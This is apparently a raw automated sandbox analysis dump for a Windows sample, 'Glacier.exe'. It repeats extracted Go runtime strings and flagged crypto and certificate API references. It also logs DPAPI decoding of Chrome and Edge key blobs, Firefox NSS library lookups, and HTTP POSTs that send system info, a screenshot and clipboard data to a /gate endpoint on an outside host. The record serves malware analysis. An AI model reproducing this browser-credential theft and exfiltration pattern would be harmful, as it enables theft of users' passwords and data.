rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for abi.NewName: tag too long: GetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext" (Indicator: "CertCreateCertificateContext"; File: "Glacier.exe"), Found api reference "objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mentersyscallblock inconsistent runtime: split stack overflow: ...additional frames elided...unsafe.String: len out of range28421709430404007434844970703125resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyMapIter.Value called before Nextslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = WSAGe" (Indicator: "CertAddCertificateContextToStore"; File: "Glacier.exe"), Found api reference "objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mentersyscallblock inconsistent runtime: split stack overflow: ...additional frames elided...unsafe.String: len out of range28421709430404007434844970703125resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyMapIter.Value called before Nextslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = WSAGe" (Indicator: "CertVerifyCertificateChainPolicy"; File: "Glacier.exe"), Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchnot pollablegotypesaliashttpmuxgo121multipathtcprandautoseedtlsunsafeekm3814697265625level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameGetTempPath2WModule32NextWwakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitout of memory is nil not value method bad map state span.base()=bad flushGen not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= runtime: pid=: unknown pc called from gocacheverifyinsta" (Indicator: "CertOpenStore"; File: "Glacier.exe") Found api reference "xtAddr frames elided..., locked to threadruntime.semacreateruntime.semawakeupuse of closed filereflect.Value.IsNilreflect.Value.FloatWaitForSingleObject14901161193847656257450580596923828125bad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdreflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexSetTokenInformationMultiByteToWideCharGC mark terminationpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesbad kind in runfinqmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g s" (Indicator: "CryptReleaseContext"; File: "Glacier.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptiondodeltimer: wrong Padjusttimers: bad pfile already existsfile does not existfile already closedmultipartmaxheaders37252902984619140625invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesmalloc during signalclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: d" (Indicator: "CertOpenSystemStoreW"; File: "Glacier.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptiondodeltimer: wrong Padjusttimers: bad pfile already existsfile does not existfile already closedmultipartmaxheaders37252902984619140625invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesmalloc during signalclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: d" (Indicator: "CryptAcquireContextW"; File: "Glacier.exe") Found api reference "panic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksinvalid m->lockedInt = procresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportpattern bits too long: 116415321826934814453125582076609134674072265625connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsstack trace unavailablebindm in unexpected GOOSrunqsteal: runq overflowdoub" (Indicator: "CertFreeCertificateChain"; File: "Glacier.exe") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartinconsistent poll.fdMutexGODEBUG: can not enable "ExpandEnvironmentStringsWGetFileInformationByHandle1455191522836685180664062572759576141834259033203125invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusunknown ABI parameter kindSetFileInformationByHandleall goroutines stack tracecall from unknown functionnotewakeup - double wakeuppersistentalloc:" (Indicator: "CertFreeCertificateContext"; File: "Glacier.exe"), Found api reference "objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mentersyscallblock inconsistent runtime: split stack overflow: ...additional frames elided...unsafe.String: len out of range28421709430404007434844970703125resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyMapIter.Value called before Nextslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = WSAG" (Indicator: "CertAddCertificateContextToStore"; File: "Glacier.exe"), Found api reference "objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mentersyscallblock inconsistent runtime: split stack overflow: ...additional frames elided...unsafe.String: len out of range28421709430404007434844970703125resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyMapIter.Value called before Nextslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = WSAG" (Indicator: "CertVerifyCertificateChainPolicy"; File: "Glacier.exe"), Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CertFindCertificateInStore" (Indicator: "CertFindCertificateInStore"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CertGetNameStringW" (Indicator: "CertGetNameStringW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CryptBinaryToStringW" (Indicator: "CryptBinaryToStringW"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CryptMsgClose" (Indicator: "CryptMsgClose"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CryptMsgGetParam" (Indicator: "CryptMsgGetParam"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp"), Found api reference "CryptMsgOpenToDecode" (Indicator: "CryptMsgOpenToDecode"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp")2c:T690,"Glacier.exe" called "CryptStringToBinaryA" with parameters {"pszString": "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACjIacSdVVIS4vgNcCzz4yKEAAAABwAAABHAG8AbwBnAGwAZQAgAEMAaAByAG8AbQBlAAAAEGYAAAABAAAgAAAAK+80BUEQkr0463u3nXFfx4J8Q/Cre1vciUGql83r+qIAAAAADoAAAAACAAAgAAAA2dYKVXaxUdRXNBGRw77cryWL2LoBHpBISEpY2RfHOHQwAAAA+olyLvAoSSdWeZjopXrcIwnQ" "cchString": "392" "dwFlags": "1" "pbBinary": "DPAPI" "pcbBinary": "25010000"} "Glacier.exe" called "CryptStringToBinaryA" with parameters {"pszString": "QVBQQgEAAADQjJ3fARXREYx6AMBPwpfrAQAAAGm9GT9TTJlOqwm9l7Br4ykQAAAAHAAAAEcAbwBvAGcAbABlACAAQwBoAHIAbwBtAGUAAAAQZgAAAAEAACAAAAATxzbuD37qgDGNBSiyc36tuJgNLKmbDNVpFlDBnhOQXgAAAAAOgAAAAAIAACAAAACxgvTiyBD5osugMbupLhFBJINaYtdLrsgu3JGbJdg3F5ABAAAAUhCFvl9669LZqEqx06E1d7b0" "cchString": "860" "dwFlags": "1" "pbBinary": "APPB" "pcbBinary": "84020000"} "Glacier.exe" called "CryptStringToBinaryA" with parameters {"pszString": "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAjhxs/YzIRRKkv8Cq1fW8oEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACJDBksyBBhAH3eNwj1p8nGPHP6S3XJ2HstPNjXWkQxwAAAAAAOgAAAAAIAACAAAADeHLXYbV+aGMM75ajrAgN+es57Lv0bD3+Z4t0YSwbpTzAAAABGh+NLNCVSLqf2GwDxEP7f" "cchString": "396" "dwFlags": "1" "pbBinary": "DPAPI" "pcbBinary": "27010000"} "Glacier.exe" called "CryptStringToBinaryA" with parameters {"pszString": "QVBQQgEAAADQjJ3fARXREYx6AMBPwpfrAQAAAGm9GT9TTJlOqwm9l7Br4ykQAAAAHgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAAABBmAAAAAQAAIAAAAN/1feKT3lAY2lqOwBVvjefqulDyOFn1BmW1QzyzPRJPAAAAAA6AAAAAAgAAIAAAAN+nmjq3RyIkD9z36Q63tNqEJ25uWnGDS2qc0RY7S2vTUAEAAEkaT9m+iX+rRcMOzJTcv7na" "cchString": "776" "dwFlags": "1" "pbBinary": "APPB" "pcbBinary": "46020000"}2d:T7c8,Found string "%PROGRAMFILES%\Mozilla Firefox\softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00001176-00000C2B-1614235755") Found string "softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00001176-00000C66-1614257286") Found string "%PROGRAMFILES%\Mozilla Firefox\freebl3.dll" (Indicator: "\freebl3.dll"; Source: "00000000-00001176-00000C2B-1614263723") Found string "%s\nss3.dll" (Indicator: "\nss3.dll"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found string "softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found string ":\Program Files\Mozilla Firefox\nss3.dll" (Indicator: "\nss3.dll"; Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found string ":\Program Files\Mozilla Firefox\mozglue.dll" (Indicator: "\mozglue.dll"; Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found string ":\Program Files\Mozilla Firefox\softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found string ":\Program Files\Mozilla Firefox\freebl3.dll" (Indicator: "\freebl3.dll"; Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found string "C:\Program Files\Mozilla Firefox\freebl3.dll" (Indicator: "\freebl3.dll"; Source: "00000000-00001176.00000001.167729.7BC03000.00000004.mdmp") Found string "C:\Program Files\Mozilla Firefox\softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00001176.00000001.167729.7BC03000.00000004.mdmp")2e:Tbaa,Found string "ncrypted Private Key" (Indicator: "private key"; Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found string "X9.62 elliptic curve public key" (Indicator: "public key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Diffie-Helman Public Key" (Indicator: "public key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "The private key for this certificate cannot be found in key database" (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Certificate Private Key Usage Period" (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Unable to import. Error attempting to import private key." (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Unable to generate public/private key pair." (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "The server certificate included a public key that was too weak." (Indicator: "public key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "SSL Server attempted to use domestic-grade public key with export cipher suite." (Indicator: "public key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "SSL was unable to extract the public key from the peer's certificate." (Indicator: "public key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Client authentication failed: private key in key database does not match public key in certificate database." (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Client authentication failed: private key in key database does not match public key in certificate database." (Indicator: "public key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Cannot decrypt: you are not a recipient, or matching certificate and private key not found." (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Peer's public key is invalid." (Indicator: "public key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Unable to export. Private Key could not be located and exported." (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "NSS User Private Key and Certificate Services" (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.79ACB000.00000002.mdmp, 00000000-00001176.00000001.167729.7BC03000.00000004.mdmp") Found string "NSS FIPS 140-2 User Private Key Services" (Indicator: "private key"; Source: "00000000-00001176.00000001.167729.79ACB000.00000002.mdmp")2f:T70ca,Contains base64 string in header "POST" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/handshake HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021X-Session: b94915774a538829a16bb9ee164367d2X-HWID: 4C319440X-KEX: x25519Content-Length: 32Host: kkeyyou.cc" Contains base64 string in header "city" in header "GET /json/?fields=query,countryCode,city,isp HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0Host: ip-api.com" Contains base64 string in header "Keep" in header "GET /json/?fields=query,countryCode,city,isp HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0Host: ip-api.com" Contains base64 string in header "POST" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "sysinfoX" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "3125Host" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: sysinfoX-Chunk-Index: 0X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 3125Host: kkeyyou.cc" Contains base64 string in header "POST" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: screenshotX-Chunk-Index: 1X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 37734Host: kkeyyou.cc" Contains base64 string in header "POST" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: 